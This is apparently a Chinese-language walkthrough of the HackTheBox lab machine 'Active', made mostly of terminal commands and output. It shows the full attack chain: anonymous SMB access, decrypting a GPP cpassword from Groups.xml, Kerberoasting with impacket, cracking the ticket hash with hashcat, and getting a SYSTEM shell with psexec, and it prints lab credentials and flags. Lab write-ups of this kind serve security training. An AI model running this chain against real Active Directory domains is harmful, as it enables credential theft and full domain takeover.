Active(完成),有kerbrute

```
└──# nmap -sCV 10.10.10.100 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 01:19 PDT
Nmap scan report for 10.10.10.100
Host is up (0.21s latency).
Not shown: 982 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-10 08:21:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=4/10%OT=53%CT=1%CU=36435%PV=Y%DS=2%DC=T%G=Y%TM=6616
OS:4C4D%P=aarch64-unknown-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=I%CI=I%II=I
OS:%SS=S%TS=7)SEQ(SP=102%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=102%
OS:GCD=1%ISR=108%TI=I%CI=RD%II=I%SS=S%TS=7)OPS(O1=M53CNW8ST11%O2=M53CNW8ST1
OS:1%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%
OS:W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CN
```

```
OS:W8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=
OS:0%S=Z%A=O%F=AR%O=%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T
OS:3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O
OS:%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=
OS:Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%R
OS:D=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1,
cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-04-10T08:22:22
|_  start_date: 2024-04-10T08:10:20
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required

TRACEROUTE (using port 1720/tcp)
HOP RTT       ADDRESS
1   214.82 ms 10.10.14.1
2   215.15 ms 10.10.10.100

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 192.83 seconds
```

我們得到以下結果，顯示 17 個連接埠已開啟：
- 連接埠53：運行DNS 6.1.7601
- 連接埠 88：運行 Kerberos
- 連接埠 135、593、49152、49153、49154、49155、49157、49158：運行 msrpc
- 連接埠 139 和 445：運行 SMB
- 連接埠 389 和 3268：執行 Active Directory LDAP
- 連接埠 464：運行 kpasswd5。此連接埠用於變更/設定 Active Directory 的密碼
- 連接埠 636 和 3269：如nmap FAQ 頁面所示，這表示該連接埠受 tcpwrapper 保護，tcpwrapper 是基於主機的網路存取控製程序

139、445 port = smb

```
└─# smbclient -L 10.10.10.100
Password for [WORKGROUP\root]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

```
└─# smbclient //10.10.10.100/Replication
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> dir
  .                                   D        0  Sat Jul 21 03:37:44 2018
  ..                                  D        0  Sat Jul 21 03:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 13:46:06 2018
get
                5217023 blocks of size 4096. 284063 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.4
 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>
```

有name、cpasswd

```
└─# cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="
2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cp
assword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1
" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

使用hashcate、john都無用，

找到資料可用gpp進行解密

https://github.com/t0thkr1s/gpp-decrypt

```
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

name : SVC_TGS

cpasswd : GPPstillStandingStrong2k18

登入成功

```
└─# smbclient -U SVC_TGS //10.10.10.100/Users
Password for [WORKGROUP\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   DR        0  Sat Jul 21 07:39:20 2018
  ..                                  DR        0  Sat Jul 21 07:39:20 2018
  Administrator                        D        0  Mon Jul 16 03:14:21 2018
  All Users                        DHSrn        0  Mon Jul 13 22:06:44 2009
  Default                            DHR        0  Mon Jul 13 23:38:21 2009
  Default User                     DHSrn        0  Mon Jul 13 22:06:44 2009
  desktop.ini                        AHS      174  Mon Jul 13 21:57:55 2009
  Public                              DR        0  Mon Jul 13 21:57:55 2009
  SVC_TGS                              D        0  Sat Jul 21 08:16:32 2018

                5217023 blocks of size 4096. 278770 blocks available
smb: \>
```

找到user flag

```
smb: \SVC_TGS\Desktop\> dir
  .                                   D        0  Sat Jul 21 08:14:42 2018
  ..                                  D        0  Sat Jul 21 08:14:42 2018
  user.txt                           AR       34  Wed Apr 10 01:11:24 2024
```

```
└─# cat user.txt
21a98a0887512 2e23116e81b90b59a55
```

```
┌──(root㉿kali)-[/home/…/Desktop/tool/kerbrute/dist]
└─# impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName  Name           MemberOf                                                  Pass
wordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  ----
--------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018
-07-18 12:06:40.351723  2024-04-10 01:11:27.487351



[-] CCache file is not found. Skipping ...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$e3a2ea5e526fb818326a9c5c0c231ffa$a2
44e53cc26147c9aff90277d09461544cc37c7604da36d66f54c2fd7e506dedbee4e2d29a28f62db1b7642b0a4c599103ca5
9a02fe139c16c1df83042b627f7eb789c2e4d9fbcca8eb84c858d7180cf837f809078dad717756a8068402f2aa3ab34eb46
b424e0d8f3a5c714f971d8f1fcd1e52e4c39295372f4526a746b461a0d8f6e524236cc74094f3bcc3242f4e9cfe2c849c15
1500913b4e4117b9772f7db2336f74da5ebb12f22b59de5e4cd30afbc03b64708eebde37acd8928697a199cbc1d78052724
271ba06a09b1fbdf109244792ea3d428559a24f7d04422e5b15a94293258819eeb3401d32a78e6822a4afd2dff12f2836ce
5f8a1c9f5bcf3e570284f3dbfa3bac607b0578569c655a9e4d3abdabd75541bcba9e362050d3c7d7ea82346526bfa159339
42eb06867322ef4d9d43d7fda9fa215958827475d9ab91a651f1cd16dd9e7a3e2bdbc3f5cdfe71052f6dbcdc7dec561526f
8db115f38daecac6d81df2b273d0a992389e33b24d01e0c69d95ddddb7ab6fb782e20e1c44b60a640693f43bbfd594ff38d
7cb9db499c8f6af55da0213e86fc22992df249feb3bab89d2cb60659b37b0e0687aee6f07d1a37dc0506398bfcfe05e48e5
db3ec76eee39dbc4efa0138e9632afb83bc8068a2540002a036624d3623a72daf572608015559311f9b9f0198edb01d7fa8
1eff86196f77caa0991d3e42d8cde50a89d5f12189f2d5e3dccf5fd4cefe505ac0f98e283a6a5dd08ed79d0c2249d6ec823
61f69ae37267aa05fca05172901d728102536db793fc0e33e2049eaa5f7c9aeec8b05587b4172c022765bd3dfe3d7409b51
d208a7a383c4c00c796dd591160afda9a230ac4d92fd8c06f77bfec8ddab1c55c7a7e63d30cfd02a940b1325d28b9a9b617
33bd6b763d09eea583eb0d91e2f731aace819d0190562e183783d76d23471872234c35a3ca9a4700e65d8817b0f5ff4902c
b472d2920faa3b97f31c456d6679589b8706cb6050d51b9cccc4e7ded455db700c4377bc7e9f938f11365e6df0f8e22b75a
```

得到密碼

```
└─# hashcat -m 13100 root.txt /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$e3a2ea5e526fb818326a9c5c0c231ffa$a244e
53cc26147c9aff90277d09461544cc37c7604da36d66f54c2fd7e506dedbee4e2d29a28f62db1b7642b0a4c599103ca59a02fe
139c16c1df83042b627f7eb789c2e4d9fbcca8eb84c858d7180cf837f809078dad717756a8068402f2aa3ab34eb46b424e0d8f
3a5c714f971d8f1fcd1e52e4c39295372f4526a746b461a0d8f6e524236cc74094f3bcc3242f4e9cfe2c849c151500913b4e41
17b9772f7db2336f74da5ebb12f22b59de5e4cd30afbc03b64708eebde37acd8928697a199cbc1d78052724271ba06a09b1fbd
f109244792ea3d428559a24f7d04422e5b15a94293258819eeb3401d32a78e6822a4afd2dff12f2836ce5f8a1c9f5bcf3e5702
84f3dbfa3bac607b0578569c655a9e4d3abdabd75541bcba9e362050d3c7d7ea82346526bfa15933942eb06867322ef4d9d43d
7fda9fa215958827475d9ab91a651f1cd16dd9e7a3e2bdbc3f5cdfe71052f6dbcdc7dec561526f8db115f38daecac6d81df2b2
73d0a992389e33b24d01e0c69d95ddddb7ab6fb782e20e1c44b60a640693f43bbfd594ff38d7cb9db499c8f6af55da0213e86f
c22992df249feb3bab89d2cb60659b37b0e0687aee6f07d1a37dc0506398bfcfe05e48e5db3ec76eee39dbc4efa0138e9632af
b83bc8068a2540002a036624d3623a72daf572608015559311f9b9f0198edb01d7fa81eff86196f77caa0991d3e42d8cde50a8
9d5f12189f2d5e3dccf5fd4cefe505ac0f98e283a6a5dd08ed79d0c2249d6ec82361f69ae37267aa05fca05172901d72810253
6db793fc0e33e2049eaa5f7c9aeec8b05587b4172c022765bd3dfe3d7409b51d208a7a383c4c00c796dd591160afda9a230ac4
d92fd8c06f77bfec8ddab1c55c7a7e63d30cfd02a940b1325d28b9a9b61733bd6b763d09eea583eb0d91e2f731aace819d0190
562e183783d76d23471872234c35a3ca9a4700e65d8817b0f5ff4902cb472d2920faa3b97f31c456d6679589b8706cb6050d51
b9cccc4e7ded455db700c4377bc7e9f938f11365e6df0f8e22b75a5493f4366b23b0e4bbd9b9057741e9e308b2f026b0555c2f
48185c7f2a07b7ce2bbabc9048eb3806c2b2834072d245cc6e9b8e12ebdec285105070ff1f05cc5c1ce8bb30b7e1339609b93a
a0fb7fbcfedf8aec6b2f582096bbde69301de8bc6c4131383f647459a9e36976f0080f08de3e4a74c76796f0beae32ea03ba2f
51b5ff9971c78035b3fc13c0f2a98d4590d5631cd:Ticketmaster1968
```

username : Administrator

passwd : Ticketmaster1968

```
┌──(root㉿kali)-[/home/kali/Desktop/tool/kerbrute]
└─# python3 psexec.py Administrator:Ticketmaster1968@10.10.10.100

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file bSYazMUe.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service brJH on 10.10.10.100.....
[*] Starting service brJH.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> id
'id' is not recognized as an internal or external command,
operable program or batch file.

               1 File(s)             34 bytes
               2 Dir(s)   1.140.023.296 bytes free

C:\Users\Administrator\Desktop> type root.txt
78c93b4119d01d72928622da745f6287

C:\Users\Administrator\Desktop>
```